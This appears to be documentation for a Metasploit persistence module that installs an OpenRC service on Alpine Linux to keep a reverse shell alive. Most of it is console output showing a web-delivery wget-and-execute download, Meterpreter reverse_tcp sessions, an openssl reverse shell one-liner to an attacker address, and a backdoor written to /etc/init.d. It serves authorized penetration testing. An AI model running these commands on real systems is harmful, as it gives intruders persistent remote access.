h00die
117 lines
4.5 KiB
Markdown
117 lines
4.5 KiB
Markdown
## Vulnerable Application
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This module will create a service on the box via OpenRC, and mark it for auto-restart.
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We need enough access to write service files and potentially restart services.
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Verified against alpine 3.21.2
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## Verification Steps
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1. Exploit a box and get a **root** session
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2. `use exploit/linux/persistence/init_openrc `
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3. `set SESSION <session>`
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4. `set PAYLOAD <payload>`
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5. `set LHOST <lhost>`
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6. `exploit`
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## Options
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### WritableDir
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Remote writable directory to store the payload. Avoid using `/tmp` as it will be deleted upon reboot.
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### SERVICE
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The name of the service to create. If not chosen, a random one is created.
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### PAYLOAD_NAME
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The name of the file to write with our shell if a non-cmd payload is used. If not chosen, a random one is created.
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## Scenarios
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### Alpine Linux 3.21.2
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Of note, the default install of Alpine doesn't have `curl`, or `bash`. The `OpenSSL` payload was confirmed working though
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Initial access vector via web delivery
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```
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[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
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resource (/root/.msf4/msfconsole.rc)> setg verbose true
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verbose => true
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resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
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lhost => 111.111.1.111
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resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
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[*] Using configured payload python/meterpreter/reverse_tcp
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resource (/root/.msf4/msfconsole.rc)> set srvport 8181
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srvport => 8181
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resource (/root/.msf4/msfconsole.rc)> set target 7
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target => 7
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resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
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payload => linux/x64/meterpreter/reverse_tcp
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resource (/root/.msf4/msfconsole.rc)> set lport 4545
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lport => 4545
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resource (/root/.msf4/msfconsole.rc)> set URIPATH l
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URIPATH => l
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resource (/root/.msf4/msfconsole.rc)> run
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[*] Exploit running as background job 0.
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[*] Exploit completed, but no session was created.
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[*] Starting persistent handler(s)...
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[*] Started reverse TCP handler on 111.111.1.111:4545
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[*] Using URL: http://111.111.1.111:8181/l
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[*] Server started.
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[*] Run the following command on the target machine:
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wget -qO xK7yCqmS --no-check-certificate http://111.111.1.111:8181/l; chmod +x xK7yCqmS; ./xK7yCqmS& disown
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[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
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[*] Transmitting intermediate stager...(126 bytes)
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[*] Sending stage (3045380 bytes) to 222.222.2.222
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[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:33954) at 2025-02-09 09:31:16 -0500
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[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
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[*] Starting interaction with 1...
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(Meterpreter 1)(/root) > getuid
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Server username: root
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(Meterpreter 1)(/root) > sysinfo
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Computer : alpine3.21.2
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OS : (Linux 6.12.12-0-virt)
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Architecture : x64
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BuildTuple : x86_64-linux-musl
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Meterpreter : x64/linux
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(Meterpreter 1)(/root) > background
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[*] Backgrounding session 1...
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```
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Persistence
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```
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[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_openrc
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[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
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[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_openrc) > set session 1
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session => 1
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[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_openrc) > set payload payload/cmd/unix/reverse_openssl
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payload => cmd/unix/reverse_openssl
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[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_openrc) > exploit
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[+] sh -c '(sleep 4296|openssl s_client -quiet -connect 111.111.1.111:4444|while : ; do sh && break; done 2>&1|openssl s_client -quiet -connect 111.111.1.111:4444 >/dev/null 2>&1 &)'
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[*] Exploit running as background job 1.
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[*] Exploit completed, but no session was created.
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[msf](Jobs:2 Agents:1) exploit(linux/persistence/init_openrc) >
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[*] Started reverse double SSL handler on 111.111.1.111:4444
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[*] Running automatic check ("set AutoCheck false" to disable)
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[+] The target appears to be vulnerable. /tmp/ is writable and openrc based
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[*] Writing backdoor to /tmp//rljkrbglMY
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[*] Writing service: /etc/init.d/GpdAgZVBGWq
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[*] Writing '/etc/init.d/GpdAgZVBGWq' (141 bytes) ...
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[*] Enabling service
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[+] Starting service
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[*] Accepted the first client connection...
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[*] Accepted the second client connection...
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[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/alpine3.21.2_20250209.3159/alpine3.21.2_20250209.3159.rc
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[*] Command: echo duVbKHsRwQ5D05J7;
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[*] Writing to socket A
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[*] Writing to socket B
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[*] Reading from sockets...
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[*] Reading from socket B
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[*] B: "duVbKHsRwQ5D05J7\n"
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[*] Matching...
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[*] A is input...
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[*] Command shell session 2 opened (111.111.1.111:4444 -> 222.222.2.222:43560) at 2025-02-09 09:32:07 -0500
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``` |